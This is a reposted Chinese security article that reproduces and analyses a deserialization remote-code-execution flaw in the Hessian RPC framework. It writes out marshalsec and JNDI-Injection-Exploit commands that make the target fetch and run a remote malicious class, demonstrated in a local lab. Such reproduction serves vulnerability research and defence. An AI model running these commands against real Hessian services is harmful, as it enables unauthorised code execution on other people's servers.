139

Hessian反序列化RCE漏洞复现及分析

 4 years ago
source link: https://www.freebuf.com/vuls/224280.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具( https://github.com/mbechler/marshalsec )可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

26NJRrn.jpg!web

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

ZNBrUfR.jpg!web

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

Yv2Yva3.jpg!web

访问服务器地址 http://127.0.0.1:8080/HessianTest/hessian ,返回如下页面则说明环境正常

v6nm2iA.jpg!web

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址 https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

nEVfyy7.jpg!web

三、生成payload

marshalsec工具地址 https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin <a href="http://127.0.0.1:8180/">http://127.0.0.1:8180/</a> ExecTemplateJDK7>hession

NZZ3yyj.jpg!web

将在当前目录生成hession的payload

注意: http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u <a href="http://127.0.0.1:8080/HessianTest/hessian">http://127.0.0.1:8080/HessianTest/hessian</a> -p hessian

JJNVZzI.jpg!web

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

JNBzUzz.jpg!web

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

zqINJbI.jpg!web

Java客户端可以很方便的调用服务器上的方法,如下

qaEnyi3.jpg!web

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

Vzeaiiy.jpg!web

zmUBvyJ.jpg!web

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

fQjmyy6.jpg!web

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

Jfqeyi3.jpg!web

利用图

iIrQZrZ.jpg!web 这是发送给Hessain服务器的请求包

INBbmaY.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK